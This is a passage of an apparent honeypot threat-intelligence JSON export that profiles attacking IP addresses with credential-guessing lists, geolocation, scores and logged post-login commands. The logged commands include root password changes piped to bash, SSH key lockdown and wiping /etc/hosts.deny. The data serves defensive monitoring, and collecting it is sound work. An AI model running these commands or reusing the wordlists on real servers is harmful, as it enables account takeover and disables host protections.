        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:1FHIcOvBjAIb\"|chpasswd|bash",
        "echo \"root:3pKW1hMK2ztl\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": null,
      "asn": 6147,
      "as_org": "INTEGRATEL PERU S.A.A.",
      "threat_score": 55.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.8,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 303,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T11:32:45.174000+00:00",
        "last_seen_30d": "2026-03-30T12:04:08.203000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 243,
        "Suricata": 60
      }
    },
    "23.91.97.213": {
      "attack_count": 212,
      "first_seen": "2026-03-17T06:12:40.616Z",
      "last_seen": "2026-03-21T16:46:12.723Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "linuxacademy",
        "root",
        "shoutcast",
        "bitrix",
        "denis",
        "informix",
        "kingbase",
        "magento",
        "maxim",
        "noc",
        "pi",
        "ram",
        "ravi",
        "real",
        "remoto",
        "stack",
        "sysadmin",
        "train1",
        "tst"
      ],
      "passwords_attempted": [
        "12345678",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "1234",
        "Linuxacademy123!",
        "Password@123",
        "Real123!",
        "Tst123",
        "denis",
        "kingbase123!",
        "maxim",
        "qwe123.com",
        "raspberry",
        "ravi@123456",
        "remoto@123456",
        "shoutcast123",
        "stackpassword"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Linuxacademy123!\\nW59YuWWoeoPW\\nW59YuWWoeoPW\\n\"|passwd",
        "echo -e \"Linuxacademy123!\\nW59YuWWoeoPW\\nW59YuWWoeoPW\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.5,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 280,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T06:12:40.616000+00:00",
        "last_seen_30d": "2026-03-21T16:47:22.506000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 212,
        "Suricata": 68
      }
    },
    "103.23.198.220": {
      "attack_count": 188,
      "first_seen": "2026-03-19T02:49:46.312Z",
      "last_seen": "2026-03-19T03:24:23.510Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "devman",
        "km",
        "aa",
        "ahmad",
        "angga",
        "ghostadmin",
        "informix",
        "mob",
        "root",
        "salman"
      ],
      "passwords_attempted": [
        "password",
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "Devman123!",
        "Qazwsx123",
        "ahmad",
        "ghostadminpass",
        "informix1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nxmsW9KuI7Tb4\\nxmsW9KuI7Tb4\\n\"|passwd",
        "echo \"Devman123!\\ny0RFU7I1Lwo3\\ny0RFU7I1Lwo3\\n\"|passwd",
        "echo -e \"123456\\nxmsW9KuI7Tb4\\nxmsW9KuI7Tb4\"|passwd|bash",
        "echo -e \"Devman123!\\ny0RFU7I1Lwo3\\ny0RFU7I1Lwo3\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T02:49:46.312000+00:00",
        "last_seen_30d": "2026-03-19T03:25:29.568000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 35
      }
    },
    "118.26.39.178": {
      "attack_count": 188,
      "first_seen": "2026-03-23T12:45:22.248Z",
      "last_seen": "2026-03-23T13:06:11.705Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "mgeweb",
        "pilot",
        "android",
        "es",
        "github",
        "labs",
        "maarch",
        "nominatim",
        "patricia",
        "peertube"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345678",
        "Maarch123",
        "es1234",
        "githubpass",
        "mgeweb1234",
        "patricia1234",
        "pilot"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"mgeweb1234\\n7MErlIBDRrD3\\n7MErlIBDRrD3\\n\"|passwd",
        "echo \"pilot\\n6ekmOQYbBKWL\\n6ekmOQYbBKWL\\n\"|passwd",
        "echo -e \"mgeweb1234\\n7MErlIBDRrD3\\n7MErlIBDRrD3\"|passwd|bash",
        "echo -e \"pilot\\n6ekmOQYbBKWL\\n6ekmOQYbBKWL\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T12:45:22.248000+00:00",
        "last_seen_30d": "2026-03-23T13:07:16.704000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "129.212.187.229": {
      "attack_count": 188,
      "first_seen": "2026-03-02T00:02:33.998Z",
      "last_seen": "2026-03-02T00:36:21.787Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "000000",
        "111111",
        "123",
        "123123",
        "123321",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "1234567890",
        "123abc",
        "123qwe",
        "1q2w3e4r",
        "1qaz2wsx",
        "654321",
        "P@ssw0rd",
        "Password1",
        "admin",
        "admin123"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Douglasville",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 267,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:01:45.542000+00:00",
        "last_seen_30d": "2026-03-02T00:37:22.471000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 79
      }
    },
    "82.64.38.234": {
      "attack_count": 188,
      "first_seen": "2026-03-24T05:47:03.023Z",
      "last_seen": "2026-03-24T05:58:39.009Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "george",
        "user02",
        "botuser",
        "ftpuser",
        "java",
        "otrs",
        "saeed",
        "syncthing",
        "tian",
        "vagrant"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "George123!",
        "Otrs123",
        "ftpuser#2025",
        "javapass",
        "password",
        "syncthingpass",
        "vagrantpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nALH0f3LXYo4q\\nALH0f3LXYo4q\\n\"|passwd",
        "echo \"George123!\\n37WxkGV89qKU\\n37WxkGV89qKU\\n\"|passwd",
        "echo -e \"123\\nALH0f3LXYo4q\\nALH0f3LXYo4q\"|passwd|bash",
        "echo -e \"George123!\\n37WxkGV89qKU\\n37WxkGV89qKU\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 12322,
      "as_org": "Free SAS",
      "threat_score": 27.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 219,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T05:47:03.023000+00:00",
        "last_seen_30d": "2026-03-24T05:59:48.868000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 31
      }
    },
    "92.191.96.115": {
      "attack_count": 188,
      "first_seen": "2026-03-21T14:57:15.789Z",
      "last_seen": "2026-03-21T15:18:23.922Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "bounce",
        "postgres",
        "auditor",
        "jenkins",
        "kirin",
        "kube",
        "kyle",
        "proradis",
        "webserver",
        "wilson"
      ],
      "passwords_attempted": [
        "password",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "12345678",
        "1qaz!QAZ",
        "Webserver123!",
        "bounce123!",
        "wilson"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1qaz!QAZ\\nhS1H9bw0kelV\\nhS1H9bw0kelV\\n\"|passwd",
        "echo \"bounce123!\\nUwJYQbfo7bNm\\nUwJYQbfo7bNm\\n\"|passwd",
        "echo -e \"1qaz!QAZ\\nhS1H9bw0kelV\\nhS1H9bw0kelV\"|passwd|bash",
        "echo -e \"bounce123!\\nUwJYQbfo7bNm\\nUwJYQbfo7bNm\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "M\u00e1laga",
      "asn": 12479,
      "as_org": "Orange Espagne SA",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T14:57:15.789000+00:00",
        "last_seen_30d": "2026-03-21T15:19:31.126000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "181.28.101.14": {
      "attack_count": 168,
      "first_seen": "2026-03-27T04:23:43.617Z",
      "last_seen": "2026-03-27T06:14:28.973Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1234qwer,./",
        "123580",
        "123@#qwe",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa789456",
        "Abc@1234567890",
        "Admin123456@",
        "Admin@12345",
        "Linda123",
        "Mavi2025",
        "Mt123456!",
        "P@$$w0rd16",
        "P@$$w0rd2",
        "Passwd123!@#",
        "Qwerty13579",
        "a1s2d3f4g5h6",
        "boUk5tor",
        "boyun2024",
        "playstation3"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:vwjwEI3iPu9f\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Ca\u00f1ada de G\u00f3mez",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 232,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T04:23:43.617000+00:00",
        "last_seen_30d": "2026-03-27T06:15:34.658000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 64
      }
    },
    "39.123.249.114": {
      "attack_count": 168,
      "first_seen": "2026-03-28T19:23:23.166Z",
      "last_seen": "2026-03-28T20:33:15.942Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!1fw@2soc#3vpn",
        "3245gs5662d34",
        "345gs5662d34",
        "5tgb^YHN",
        "Afra@123",
        "Hn@123",
        "Mexico123",
        "Nadx@2026",
        "Samsung123",
        "Support!2025",
        "ZAQ!xsw2cde3",
        "a123456+",
        "abcd1234!!",
        "casamia",
        "dwane",
        "lin123",
        "ma123456",
        "mestre",
        "nico",
        "p@55w0rd!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:NULB74AtZLxT\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gangnam-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 32.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T19:23:23.166000+00:00",
        "last_seen_30d": "2026-03-28T20:34:24.085000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "45.78.198.194": {
      "attack_count": 132,
      "first_seen": "2026-03-05T05:13:50.714Z",
      "last_seen": "2026-03-05T06:01:37.811Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "101010",
        "Chen@123",
        "Johnny123",
        "Password$1",
        "asdasd123123",
        "qaz.1234",
        "vpn@123",
        "zxc123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:f6HuVNFnS5bo\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.params",
        "cowrie.log.closed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 165,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T05:13:50.714000+00:00",
        "last_seen_30d": "2026-03-05T06:08:36.226000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 132,
        "Suricata": 33
      }
    },
    "176.65.149.236": {
      "attack_count": 128,
      "first_seen": "2026-03-03T02:54:59.797Z",
      "last_seen": "2026-03-03T03:18:46.820Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1"
      ],
      "passwords_attempted": [
        "1233218613f",
        "3245gs5662d34",
        "345gs5662d34",
        "@admin123",
        "AA123456",
        "AAA111aaa",
        "Bus365.com!@#",
        "Test@2023",
        "a3r5rjt",
        "a7895123",
        "aaAA123456",
        "aaa444",
        "test123+"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:GxWrrj0In4v4\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 160,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T02:54:59.797000+00:00",
        "last_seen_30d": "2026-03-03T03:19:53.346000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 128,
        "Suricata": 32
      }
    },
    "128.199.175.29": {
      "attack_count": 123,
      "first_seen": "2026-03-06T06:55:25.258Z",
      "last_seen": "2026-03-06T07:18:51.255Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "andy",
        "appserver",
        "bryan",
        "cs",
        "syncuser"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "@qwer2025",
        "Asdfg123456",
        "Mouse2025",
        "QWEasd!@#123",
        "admin99",
        "andy1234",
        "pass",
        "syncuser1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:vuiDfHpYaG31\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 153,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T06:55:25.258000+00:00",
        "last_seen_30d": "2026-03-06T07:20:00.761000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 30
      }
    },
    "172.86.92.207": {
      "attack_count": 123,
      "first_seen": "2026-03-09T22:39:51.936Z",
      "last_seen": "2026-03-09T22:59:46.996Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "builder",
        "clawd",
        "hath",
        "james",
        "perforce",
        "rsync",
        "sistemas",
        "sshtunnel"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "James123",
        "Rsync123!",
        "aA112233",
        "builderpass",
        "clawd123",
        "hath",
        "huawei@123",
        "passW0rd",
        "sistemas123",
        "sshtunnel123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
